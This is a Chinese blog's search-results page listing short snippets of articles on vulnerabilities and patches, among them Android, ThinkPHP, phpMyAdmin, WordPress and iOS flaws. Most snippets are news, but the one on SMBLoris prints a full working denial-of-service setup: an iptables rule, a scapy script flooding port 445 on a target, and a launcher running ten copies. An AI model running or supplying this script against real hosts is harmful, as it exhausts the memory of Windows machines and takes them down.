搜索[CVE漏洞]结果-低调大师优秀个人博客

精选列表

搜索[CVE漏洞]，共10000篇文章

7 月 Android 安全补丁发布，修复远程代码执行漏洞

七月份刚开始，谷歌就发布了 2019 年 7 月安全补丁，其中修复的内容涉及Android 系统、框架、库、Media 框架、Qualcomm 组件和闭源部分的Qualcomm 组件等 33 个安全漏洞

2019-07-02

网站漏洞检测与修复之Discuz论坛3.4版本

论坛目前最新版本为3.4版本，已经好久没有更新了，我们SINE安全在对其网站安全检测的同时发现一处漏洞，该漏洞可导致论坛的后台文件可以任意的删除，导致网站瘫痪，后台无法登陆。

2019-04-25

Kubernetes新近kubectl及CNI漏洞修复，Rancher 2.2.1发布

今天，Kubernetes发布了一系列补丁版本，修复新近发现的两个安全漏洞CVE-2019-1002101（kubectl cp命令安全漏洞）和CVE-2019-9946（CNI端口映射插件漏洞）。

2019-04-01

网站有漏洞被攻击篡改了数据该怎么修复解决

2019年1月14日消息，thinkphp又被爆出致命漏洞，可以直接远程代码执行，getshell提权写入网站木马到网站根目录，甚至直接提权到服务器，该漏洞影响版本ThinkPHP 5.0、ThinkPHP

2019-01-17

phpMyAdmin 4.8.0~4.8.3 Transformation 任意文件包含/远程代码执行漏洞

本文转载自：phpMyAdmin 4.8.0~4.8.3 Transformation 任意文件包含/远程代码执行漏洞 (需登录/PMASA-2018-6/CVE-2018-19968) | VULNSPY

2018-12-14

参议员要求谷歌解释：为何推迟公布 Google+ 漏洞

10月12日消息，据美国媒体报道，周四美国参议院三位有影响力的共和党参议员提出，谷歌应该解释为何推迟公布 Google+ 社交网络的漏洞。

2018-10-12

利用PHP扩展Taint找出网站的潜在安全漏洞实践

于是笔者将安装的过程与测试结果记录下来，方便后续使用同时也让更多开发者来了解taint taint扩展作者惠新宸曾经在自己的博客上有相关介绍，参考文档：PHP Taint – 一个用来检测XSS/SQL/Shell注入漏洞的扩展

2018-08-15

GitHub 推出 Python 安全警告，识别依赖包的安全漏洞

安全警告首次发布是在2017年10月，为了跟踪Ruby和JavaScript程序包中的安全漏洞。据GitHub介绍，从那时起，数以百万计的漏洞被发现，推动了许多补丁的发布。

2018-08-03

phpMyAdmin 4.8.x（最新版）本地文件包含漏洞利用

今天ChaMd5安全团队公开了一个phpMyAdmin最新版中的本地文件包含漏洞：phpmyadmin4.8.1后台getshell。

2018-06-20

网站安全检测服务之PHP代码的后台绕过登录漏洞

这种漏洞的原理也比较简单，一般情况下是经验不足的开发者漏掉了验证函数。

2018-06-05

kali下利用smb漏洞实现DDOS（SMBLoris攻击消耗windows RAM）

版权声明：转载请注明出处:http://blog.csdn.net/dajitui2024 https://blog.csdn.net/dajitui2024/article/details/79396567 参考：https://v.qq.com/x/page/d0532b3e7p6.html?start=36http://www.freebuf.com/news/142697.html 目标开放445端口，windows系统。攻击者kali最新版（2017年8月3日 21:42:20） cat rst.sh #!/bin/bash iptables -F iptables -A OUTPUT -p tcp --tcp-flags RST RST -j DROP cat smb3.py from scapy.all import * import sys p0 = int(sys.argv[1]) conf.L3socket conf.L3socket=L3RawSocket i=IP() i.dst="目标IP" t=TCP() t.dport=445 for p in range(p0,p0+700): print p t.sport = p t.flags = "S" r=sr1(i/t) rt=r[TCP] t.ack=rt.seq+1 t.seq=rt.ack t.flags="A" sbss='\x00\x01\xff\xff' send(i/t/sbss) cat run10.sh #!/bin/bash python smb3.py 0 & python smb3.py 1000 & python smb3.py 2000 & python smb3.py 3000 & python smb3.py 4000 & python smb3.py 5000 & python smb3.py 6000 & python smb3.py 7000 & python smb3.py 8000 & python smb3.py 9000 & 运行run10.sh开始攻击测试。

2018-02-27

WordPress4.8.1版本存在XSS跨站攻击漏洞

2017年10月19日，阿里云安全威胁情报系统监测到WordPress 官方发布了一条安全通告表示在4.8.1版本中发现了一个存储型的XSS漏洞，通过该漏洞，攻击者可以在受影响网站的评论区写下包含恶意代码的留言

2017-10-25

这款开源“神器”，可以找出Android设备最底层的Bootloader漏洞

但是近日，研究人员在4个主流芯片供应商的代码中发现了7个安全漏洞，这些漏洞会导致手机信任链在引导过程中被攻破，从而使设备遭受攻击。

2017-09-11

安全公司称五大SOA架构都有安全漏洞

本文讲的是安全公司称五大SOA架构都有安全漏洞，【IT168 资讯】应用软件安全公司Fortify Software发表的一篇研究报告称，目前市场上最流行的五个SOA解决方案存在严重安全漏洞。

2017-09-11

苹果iOS 8.4和OS X 10.10.4修复漏洞一览

iOS 8.4修复漏洞清单 1、iOS 8.4版本系统中包含了30多个漏洞的安全补丁，包括iOS内核漏洞、WebKit和CoreText中的漏洞。

2017-08-31

苹果iOS及Mac系统存漏洞可致远程DoS攻击

卡巴斯基研究人员在Apple OS X及iOS操作系统的开源组件Darwin内核中发现一个漏洞Darwin Nuke。

2017-08-31

App高危漏洞 Android用户记得更新百度全家桶

乌云平台发布报告称，已经有白帽子发现了多款 Android 应用存在 WormHole 漏洞，黑客可以利用这个漏洞攻击任何存在漏洞的联网手机，执行恶意代码就可以直接操控你手中的手机。

2017-08-31

iPhone又曝新漏洞一条短信能让手机崩溃

iPhone中曝出了一个新漏洞。有心人只要发送一条内容为一串特殊字符的短信息就能让接收方的手机崩溃。

2017-08-31

知乎出现串号漏洞，大量用户隐私疑遭泄露

如果你发现自己的社交账号被别人改写了简介会不会觉得惊慌。如果你昨天刚刚用知乎账号匿名吐槽了你的老东家…… 今天下午，微信公众号三节课的布棉老师在登录自己的知乎账号时发现登陆上了“很困”的账号，并可以完全看到这名用户的私信与匿名回答。发现问题后，三节课的其他小伙伴也对问题再次做了证实，每次退出重新登录，都会换成与上一个陌生账号完全不同的陌生账号。而这种问题只出现在iOS端，Android端则一切正常。看到消息时，雷锋网(公众号：雷锋网)也立刻登录了自己的账号，没有串号现象，但仍会出现内容加载不出来的现象，同时也有小伙伴表示，安卓端无法正常登录。据了解，下午串号事件发生后，知乎官方似乎采取了一些措施，或以直接切断服务器的方式避免串号事件扩大，但不知道是不是有人已经在混乱中窃取了他人的隐私信息。有相关专家表示，串号事件的发生是

2017-08-08

那个最可怕的 iOS 漏洞，同样也可以攻击 mac OS

这个名为 NSO Group 的以色列“间谍公司”不久前刚刚被曝光，使用一组逆天的 iOS 漏洞攻击了一位社会名流。这显然不是他们第一次“作案”。

2017-08-08

资源下载

更多资源

Nacos

Nacos /nɑ:kəʊs/ 是 Dynamic Naming and Configuration Service 的首字母简称，一个易于构建 AI Agent 应用的动态服务发现、配置管理和AI智能体管理平台。Nacos 致力于帮助您发现、配置和管理微服务及AI智能体应用。Nacos 提供了一组简单易用的特性集，帮助您快速实现动态服务发现、服务配置、服务元数据、流量管理。Nacos 帮助您更敏捷和容易地构建、交付和管理微服务平台。

Spring

Spring框架（Spring Framework）是由Rod Johnson于2002年提出的开源Java企业级应用框架，旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念，提供核心容器、应用上下文、数据访问集成等模块，支持整合Hibernate、Struts等第三方框架，其适用范围不仅限于服务器端开发，绝大多数Java应用均可从中受益。

Rocky Linux

Rocky Linux（中文名：洛基）是由Gregory Kurtzer于2020年12月发起的企业级Linux发行版，作为CentOS稳定版停止维护后与RHEL（Red Hat Enterprise Linux）完全兼容的开源替代方案，由社区拥有并管理，支持x86_64、aarch64等架构。其通过重新编译RHEL源代码提供长期稳定性，采用模块化包装和SELinux安全架构，默认包含GNOME桌面环境及XFS文件系统，支持十年生命周期更新。

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能，例如代码缩略图，Python的插件，代码段等。还可自定义键绑定，菜单和工具栏。Sublime Text 的主要功能包括：拼写检查，书签，完整的 Python API ， Goto 功能，即时项目切换，多选择，多窗口等等。Sublime Text 是一个跨平台的编辑器，同时支持Windows、Linux、Mac OS X等操作系统。

精选列表

7 月 Android 安全补丁发布，修复远程代码执行漏洞

网站漏洞检测与修复之Discuz论坛3.4版本

Kubernetes新近kubectl及CNI漏洞修复，Rancher 2.2.1发布

网站有漏洞被攻击篡改了数据该怎么修复解决

phpMyAdmin 4.8.0~4.8.3 Transformation 任意文件包含/远程代码执行漏洞

参议员要求谷歌解释：为何推迟公布 Google+ 漏洞

利用PHP扩展Taint找出网站的潜在安全漏洞实践

GitHub 推出 Python 安全警告，识别依赖包的安全漏洞

phpMyAdmin 4.8.x（最新版） 本地文件包含漏洞利用

网站安全检测服务之PHP代码的后台绕过登录漏洞

kali下利用smb漏洞实现DDOS（SMBLoris攻击消耗windows RAM）

WordPress4.8.1版本存在XSS跨站攻击漏洞

这款开源“神器”，可以找出Android设备最底层的Bootloader漏洞

安全公司称五大SOA架构都有安全漏洞

苹果iOS 8.4和OS X 10.10.4修复漏洞一览

苹果iOS及Mac系统存漏洞 可致远程DoS攻击

App高危漏洞 Android用户记得更新百度全家桶

iPhone又曝新漏洞 一条短信能让手机崩溃

知乎出现串号漏洞，大量用户隐私疑遭泄露

那个最可怕的 iOS 漏洞，同样也可以攻击 mac OS

资源下载

Nacos

Spring

Rocky Linux

Sublime Text

欢迎您来访！

phpMyAdmin 4.8.x（最新版）本地文件包含漏洞利用

苹果iOS及Mac系统存漏洞可致远程DoS攻击

iPhone又曝新漏洞一条短信能让手机崩溃